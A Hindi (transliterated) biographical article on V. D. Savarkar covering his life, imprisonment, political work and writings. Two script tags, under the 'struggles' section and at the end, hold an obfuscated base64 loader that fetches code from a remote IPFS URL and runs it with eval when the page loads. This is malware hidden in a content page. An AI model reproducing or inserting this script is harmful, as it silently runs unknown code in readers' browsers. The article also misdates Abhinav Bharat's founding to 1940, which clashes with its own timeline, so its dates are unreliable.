वीर सावरकर

vinayak damodar savarakar
Vinayak Damodar Savarkar|thumb vinayak damodar savarakar (1883-1966)

parichay

vir savarakar ka poora nam vinayak damodar savarakar tha. aangrezi satta ke viruddh bharat ki svatantrata ke lie sangharsh karane vale vinayak damodar savarakar sadharanataya vir savarakar ke nam se vikhyat the. vir savarakar n sirf ek kraantikari the balki ek bhashavid, buddhivadi, kavi, apratim kraantikari, dridh rajaneta, samarpit samaj sudharak, darshanik, drashta, mahan kavi aur mahan itihasakar aur ojasvi adi vaqta bhi the. unake inhian gunoan ne mahanatam logoan ki shreni mean uchch payadan par lakar kh da kar diya. vinayak damodar savarakar, 20vian shatabdi ke sabase b de hindoovadi the. unhean hindoo shabd se behad lagav tha. vah kahate the ki unhean svatantray vir ki jagah hindoo sangathak kaha jae. unhoanne jivan bhar hindoo hindi hindustan ke lie kary kiya. vah akhil bharat hindoo mahasabha ke 6 bar rashtriy adhyaksh chune ge. 1937 mean ve hiandoo mahasabha ke adhyaksh chune ge aur 1938 mean hindoo mahasabha ko rajanitik dal ghoshit kiya tha. 1943 ke bad dadar, muanbee mean rahe. bad mean ve nirdosh siddh hue aur unhoanne rajaniti se sannyas le liya.

janm

vir savarakar ka janm 28 mee 1883 ko nasik ke bhagoor gaanv mean hua. unake pita damodarapant gaanv ke pratishh‍thit vyaktiyoan mean jane jate the. jab vinayak nau sal ke the tabhi unaki mata ka dehaant ho gaya tha.

shiksha

vir savarakar ne shivaji haeeskool nasik se 1901 mean maitrik ki pariksha pas ki. bachapan se hi ve padhakoo the. bachapan mean unhoanne kuchh kavitaean bhi likhi thian. phargyusan k aaulej pune mean padhane ke dauran bhi ve rashtrabhakti se ot-prot ojasvi bhashan dete the. jab ve vilayat mean kanoon ki shiksha prapt kar rahe the, tabhi 1910 ee. mean ek hatyakaand mean sahayog dene ke roop mean ek jahaj dvara bharat ravana kar diye gaye.

kraantikari sangathan ki sthapana

1940 ee. mean unhoanne poona mean ‘abhinav bharati’ namak ek aise kraantikari sangathan ki sthapana ki, jisaka uddeshy avashyakata p dane par bal-prayog dvara svatantrata prapt karana tha. azadi ke vaste kam karane ke lie unhoanne ek gupt sosayati banaee thi, jo 'mitr mela' ke nam se jani gee.

savarakar ke sangharsh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1910 ee. mean ek hatyakaand mean sahayog dene ke roop mean inako ek jahaj dvara bharat ravana kar diye gaye. parantu fraans ke marsaliz bandaragah ke samip jahaj se ve samudr mean koodakar bhag nikale, kintu punah pak de gaye aur bharat laye gaye. bharat ki svatantrata ke lie kie ge sangharshoan mean vir savarakar ka nam behad mahattvapoorn raha hai. mahan deshabhakt aur kraantikari savarakar ne apana sanpoorn jivan desh ke lie samarpit kar diya. apane rashtravadi vicharoan se jahaan savarakar desh ko svatantr karane ke lie nirantar sangharsh karate rahe vahian doosari or desh ki svatantrata ke bad bhi unaka jivan sangharshoan se ghira raha.

jel yatra

ek vishesh nyayalay dvara unake abhiyog ki sunavaee huee aur unhean ajivan kalepani ki duhari saza mili. savarakar 1911 se 1921 tak aandaman jel (selyoolar jel) mean rahe. 1921 mean ve svadesh laute aur phir 3 sal jel bhogi. 1937 ee. mean unhean mukt kar diya gaya tha, parantu bharatiy rashtriy kaangres ko unaka samarthan n prapt ho saka aur 1948 ee. mean mahatma gaandhi ki hatya mean unaka hath hone ka sandeh kiya gaya. itani mushqiloan ke bad bhi ve jhuke nahian aur unaka deshaprem ka jazba barakarar raha aur adalat ko unhean tamam aropoan se mukt kar bari karana p da.

kuchh pramukh kary

• savarakar bharat ke pahale vyakti the jinhoanne british samrajy ke kendr landan mean usake virooddh kraantikari aandolan sangathit kiya tha.
• savarakar bharat ke pahale vyakti the jinhoanne sanh 1905 ke bang-bhang ke bad sanh 1906 mean 'svadeshi' ka nara de, videshi kap doan ki holi jalaee thi.
• savarakar bharat ke pahale vyakti the jinhean apane vicharoan ke karan bairistar ki digri khoni p di.
• savarakar pahale bharatiy the jinhoanne poorn svatantrata ki maang ki.
• savarakar bharat ke pahale vyakti the jinhoanne sanh 1857 ki l daee ko bharat ka 'svadhinata sangram' batate hue lagabhag ek hazar prishthoan ka itihas 1907 mean likha.
• savarakar bharat ke pahale aur duniya ke ekamatr lekhak the jinaki kitab ko prakashit hone ke pahale hi british aur britishasamrajyaki sarakaroan ne pratibandhit kar diya tha.
• savarakar duniya ke pahale rajanitik kaidi the, jinaka mamala heg ke aantarashtriy nyayalay mean chala tha.
• savarakar pahale bharatiy rajanitik kaidi the, jisane ek achhoot ko mandir ka pujari banaya tha.
• savarakar ne hi vah pahala bharatiy jhanda banaya tha, jise jarmani mean 1907 ki aantarrashtriy soshalist kaangres mean maidam kama ne phaharaya tha.
• savarakar ve pahale kavi the, jisane kalam-kagaj ke bina jel ki divaroan par patthar ke tuk doan se kavitayean likhian. kaha jata hai unhoanne apani rachi das hazar se bhi adhik panktiyoan ko prachin vaidik sadhana ke anuroop varshoansmriti mean surakshit rakha, jab tak vah kisi n kisi tarah deshavasiyoan tak nahian pahuch gee.

granthoan ki rachana

• unhoanne anek granthoan ki rachana ki, jinamean ‘bharatiy svatantry yuddh’, mera ajivan karavas’ aur ‘andaman ki pratidhvaniyaan’ (sabhi aangrezi mean) adhik prasiddh haian.
• jel mean 'hiandutv' par shodh granth likha.
• 1909 mean likhi pustak 'd iandiyan v aaur aauph iandipeandeans-1857' mean savarakar ne is l daee ko british sarakar ke khilaph azadi ki pahali l daee ghoshit ki thi.

mrityu

savarakar ji ki mrityu 26 pharavari 1966 ko huee thi.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>